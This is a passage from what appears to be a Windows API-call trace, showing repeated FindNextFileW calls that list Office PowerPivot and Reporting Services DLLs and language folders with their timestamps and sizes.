ftLastAccessTime.dwLowDateTime=0xf4bc999b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c630, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.dll", cAlternateFileName="MI0653~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Dallas.OAuthClient.dll", cAlternateFileName="MIF98A~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae48f06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x62068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.Dialog.dll", cAlternateFileName="MI3A9E~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.dll", cAlternateFileName="MI58F6~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Core.dll", cAlternateFileName="MIC655~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffdb5707, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffdb5707, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffdb5707, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Picasso.dll", cAlternateFileName="MI021B~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Client.Picasso.Sampler.dll", cAlternateFileName="MI7F2A~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Recommendation.Common.dll", cAlternateFileName="MI37D9~1.DLL")) returned 1 [0228.717] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa806c3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x146ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.DLL", cAlternateFileName="MIA28E~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c88562, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c88562, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18e058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Excel.dll", cAlternateFileName="MIDE30~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4caf7cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4caf7cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb4ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.dll", cAlternateFileName="MI2EE4~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.tlb", cAlternateFileName="MICROS~1.TLB")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.dll", cAlternateFileName="MI8157~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf18f9628, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1726c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.dll", cAlternateFileName="MIBCC9~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91d3da7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91d3da7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Interfaces.dll", cAlternateFileName="MI2DB2~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x886d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.dll", cAlternateFileName="MIB40B~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf19b820e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf19b820e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf19b820e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1faa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.dll", cAlternateFileName="MIC718~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36468, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15868, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.dll", cAlternateFileName="MIBACB~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.dll", cAlternateFileName="MI319B~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4561444, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4561444, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x85f4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.reportviewer.common.dll", cAlternateFileName="MI70D9~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4995f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4995f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x872c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.reportviewer.winforms.dll", cAlternateFileName="MI925C~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Configuration.SString.dll", cAlternateFileName="MIB00C~1.DLL")) returned 1 [0228.718] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.dll", cAlternateFileName="MI4FF6~1.DLL")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.tlb", cAlternateFileName="POWERP~1.TLB")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0228.719] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW 